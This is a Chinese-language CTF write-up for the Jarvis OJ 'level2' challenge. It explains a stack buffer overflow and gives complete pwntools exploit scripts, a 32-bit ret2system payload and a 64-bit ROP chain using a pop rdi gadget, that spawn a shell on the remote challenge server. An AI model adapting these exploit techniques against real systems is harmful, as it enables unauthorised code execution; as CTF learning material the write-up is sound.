level2

先checksec ,只开了NX

image.png

IDA分析:栈溢出,而且也可以看到是有system函数的

image.png

shift + F12看一下字符串,发现也是存在/bin/sh

image.png

于是我们就可以调用system("/bin/sh")
32位exp:

#-*- coding:utf-8 -*-
from pwn import *
# context.log_level = 'debug'
# p = process('./level2')
p = remote("pwn2.jarvisoj.com","9878")
system = 0x8048320
binsh = 0x804A024
#system("/bin/sh")
payload = 0x8c * "A" + p32(system) + p32(0) + p32(binsh)  #将/bin/sh压入栈中作为system 的参数
p.sendline(payload)
p.interactive()

===================================================================================
因为64位程序函数的前6个参数是依次放在寄存器rdi、rsi、rdx、rcx、r8和r9中的,所以要调用system('/bin/sh')首先要将/bin/sh放到rdi寄存器中去,所以就需要找到pop_rdi_ret的gadget来利用

$ ROPgadget --binary level2_x64 --only "pop|ret"
Gadgets information
============================================================
0x00000000004006ac : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006ae : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006b0 : pop r14 ; pop r15 ; ret
0x00000000004006b2 : pop r15 ; ret
0x00000000004006ab : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006af : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400560 : pop rbp ; ret
0x00000000004006b3 : pop rdi ; ret
0x00000000004006b1 : pop rsi ; pop r15 ; ret
0x00000000004006ad : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004004a1 : ret
Unique gadgets found: 11

64位exp:

#-*-coding:utf -8-*-
from pwn import *
# p = process('./level2_x64')
p = remote("pwn2.jarvisoj.com","9882")
system_plt = 0x4004c0
binsh = 0x600a90
pop_rdi = 0x4006b3
payload = 0x88*"A" + p64(pop_rdi) + p64(binsh) + p64(system_plt)
p.sendline(payload) 
p.interactive()

你可能感兴趣的:(level2)